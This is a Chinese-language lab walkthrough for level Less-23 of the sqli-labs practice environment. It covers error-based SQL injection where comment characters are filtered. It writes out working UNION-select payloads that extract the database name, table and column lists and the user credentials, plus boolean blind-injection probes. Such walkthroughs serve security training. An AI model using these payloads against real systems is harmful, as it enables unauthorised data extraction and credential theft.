Less-23 基于错误的,过滤注释的GET型

判断注入类型:

?id=1 ?id=1’ ?id=1” 发现第二条语句报错:

img

从这里可以看出是单引号闭合的查询,这里报错还把站点路径爆出来了。

出现了一行文字

翻译:

警告:mysql_fetch_array()期望参数1为资源,布尔值在第38行的C:\ phpStudy \ WWW \ sqli \ Less-23 \ index.php中给出您的SQL语法有误。 检查与您的MySQL服务器版本对应的手册以获取正确的语法,以在第1行的“ 1” LIMIT 0,1’附近使用

我们查看下源代码:

img

img

preg_replace() 函数

1
preg_replace(pattern,replacement,subject[,limit=-1[,&count]])
参数 描述
pattern 要搜索的模式,可以是字符串或一个字符串数组
replacement 用于替换的字符串或字符串数组
subject 要搜索替换的目标字符串或字符串数组
limit 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)
count 可选,为替换执行的次数

preg_replace()函数执行一个正则表达式的搜索和替换,搜索subject中匹配pattern的部分, 以replacement进行替换。

如果subject是一个数组,preg_replace()返回一个数组,其他情况下返回一个字符串。
如果匹配被查找到,替换后的subject被返回,其他情况下返回没有改变的subject。如果发生错误,返回NULL

在这关中,也只是将#--替换成了空字符

查找注入点:

?id=-1’ union select 1,2,3 or ‘1’=’1

img

唯一的回显字段便是username即字段2,这也是唯一的注入点。

暴库:

?id=-1’ union select 1,database(),3 or ‘1’=’1

img

暴表:

注意:因为这里涉及到whereor语句的混合,只能用双注入CONCAT子查询

?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),3 or ‘1’=’1

img

暴字段:

?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’),3 or ‘1’=’1

img

暴数据:

?id=-1’ union select 1,(select group_concat(concat_ws(‘-‘,id,username,password)) from users),3 and ‘1’=’1

img

这里要注意一下,在爆数据的时候,不能在使用and的时候直接查询,必须要用双子注入查询,否则会报错:

*select 1,group_concat(username),3 from users and ‘1’=’1 from和and是不能连在一起用的*

注入方法有很多,对于基于错误的报错型注入,前面我们使用的注入方法这里都可以使用。

比如:

盲注

这里盲注就得使用and,而不能使用or

?id=1’ and left(version(),1)=5 and ‘1’=’1

?id=1’ and left(version(),1)=6 and ‘1’=’1

(PS:and和or同时使用and的优先级高于or,哪怕不考虑优先级也不能使用or,因为 ‘1’=’1’是永真条件,不管前面查询的条件时真假,到最后都会变成 真条件)